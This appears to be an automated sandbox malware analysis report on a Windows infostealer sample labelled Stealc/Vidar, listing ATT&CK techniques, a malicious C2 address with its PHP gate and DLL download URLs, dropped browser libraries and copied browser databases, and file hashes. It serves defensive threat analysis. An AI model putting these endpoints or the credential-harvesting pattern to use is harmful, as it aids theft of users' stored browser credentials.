File source: Process Memory Space: file.exe PID: 2672, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php0u	file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.1791718439.000000000176E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmp	true	URL Reputation: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	AKJDAEGCAFIIDGDGCGIJ.0.dr	false		unknown
http://185.215.113.37/H	file.exe, 00000000.00000003.1639206567.00000000017D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/G	file.exe, 00000000.00000003.1639206567.00000000017D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpom	file.exe, 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll-	file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php.dll	file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37.com	file.exe, 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpf-9bc86c8e8c94$	file.exe, 00000000.00000003.1639206567.00000000017D2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php.dll&	file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpdll	file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dlli	file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1821150584.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1809461642.000000001DCF4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpg	file.exe, 00000000.00000002.1791718439.00000000017B3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dllc	file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpY	file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php?	file.exe, 00000000.00000002.1815079279.0000000029DB5000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	file.exe, 00000000.00000002.1815079279.0000000029DB5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp, AKJDAEGCAFIIDGDGCGIJ.0.dr	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpbird	file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	file.exe, 00000000.00000002.1815079279.0000000029DB5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp, AKJDAEGCAFIIDGDGCGIJ.0.dr	false		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1815079279.0000000029DB5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp, AKJDAEGCAFIIDGDGCGIJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000002.1815079279.0000000029DB5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp, AKJDAEGCAFIIDGDGCGIJ.0.dr	false		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	file.exe, 00000000.00000002.1815079279.0000000029DB5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp, AKJDAEGCAFIIDGDGCGIJ.0.dr	false		unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1815079279.0000000029DB5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp, AKJDAEGCAFIIDGDGCGIJ.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpJECGDGCBKECAKFBGC	file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpwser	file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll7	file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php&	file.exe, 00000000.00000003.1639206567.00000000017D2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpwindow-state.json	file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528484
Start date and time:	2024-10-08 00:12:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 78 Number of non-executed functions: 117
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	lihZ6gUU7V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse
	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	out.exe	Get hash	malicious	Vidar	Browse
	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	lihZ6gUU7V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse
	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	out.exe	Get hash	malicious	Vidar	Browse
	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKJDAEGCAFIIDGDGCGIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9976
Entropy (8bit):	5.499944288613473
Encrypted:	false
SSDEEP:	192:NzKneRdpYbBp6znmUzaX/6aRMKWPzDNBw8DK9mSl:Nz5eUmUtgmrwbw0
MD5:	42594FD09C4DF3B174CF5D59B1CAB13A
SHA1:	1B78FEB748C36A592C468A76BB60E98187D7BE4A
SHA-256:	F8B55E3B04E0A59BB745C43763D8FBC1CFFDBC247B5525A489B4B74A57319393
SHA-512:	E2430AB14ADF2EF1CC2CB1F96DEADAFB3598B803A5E7724FDDB68ACF015D7E052291626A3D100FED902731DBFD10A9AE3387581AD2867F64D0B27E8D51B9069F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DGIJECGDGCBKECAKFBGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCBAEHCAEGDHJKFHJKFIJKJEGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDBAKEGIDBGIEBFHDHJJEHDHDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03708713717387235
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/Hy4XJwvnzfXfYf6zfTfN/0DApVJCI:58r54w0VW3xW/bXWzvACzbJ0DApVJ
MD5:	85D6E1D7F82C11DAC40C95C06B7B5DC5
SHA1:	96EA790BA7A295D78AD5A5019D7EA5E9E8F4B0BD
SHA-256:	D9AD18D2A91CB42FD55695B562D76337BBB4A6AEB45D28C4554297B4EE0DC800
SHA-512:	5DD2B75138EFB9588E14997D84C23C8225F9BFDCEA6A2A1D542AD2C6728484E7E578F06C4BA238853EAD9BE5F9A7CCCF7B2B49A0583FF93D67F072F2C5165B14
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIDBFCBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E
SHA1:	603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
SHA-256:	67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
SHA-512:	28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGIIJJDHDGCGDHIJDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKECGDBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
